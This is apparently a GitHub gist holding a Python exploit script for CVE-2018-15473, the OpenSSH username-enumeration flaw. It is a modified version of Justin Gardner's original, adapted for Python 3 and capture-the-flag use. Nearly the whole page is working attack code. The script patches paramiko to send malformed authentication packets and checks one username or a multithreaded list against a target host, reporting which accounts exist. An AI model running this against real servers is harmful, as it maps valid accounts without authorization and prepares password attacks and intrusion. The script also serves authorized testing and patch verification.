Skip to content

Instantly share code, notes, and snippets.

@DarkCoderSc
Created November 4, 2019 11:19
Show Gist options
  • Save DarkCoderSc/c2bdf683ef575140749d6cd089325390 to your computer and use it in GitHub Desktop.
Save DarkCoderSc/c2bdf683ef575140749d6cd089325390 to your computer and use it in GitHub Desktop.
Modified version of CVE-2018-15473 originally coded by Justin Gardner.
# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473
#
# Modified version by Jean-Pierre LESUEUR (@darkcodersc) 04/11/2019
# --> Support Python3
# --> Removed export functions
# --> Display result visually only (more CTF friendly)
#
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
#!/bin/python3
import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print('[\033[31mKO\033[39m] Failed to negotiate SSH transport')
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
print("[\033[33mINVALID\033[39m] " + username)
return False
except paramiko.ssh_exception.AuthenticationException:
print("[\033[32mVALID \033[39m] " + username)
return True
raise Exception("[\033[31mKO\033[39m] There was an error. Is this the correct version of OpenSSH?")
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print('[\033[31mKO\033[39m] Connecting to host failed. Please check the specified host and port.')
sys.exit(1)
if args.username: #single username passed in
checkUsername(args.username)
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print("[\033[31mKO\033[39m] File doesn't exist or is unreadable.")
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
pool = multiprocessing.Pool(args.threads)
pool.map(checkUsername, usernames)
else: # no usernames passed in
print ("[\033[31mKO\033[39m] No usernames provided to check")
sys.exit(4)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment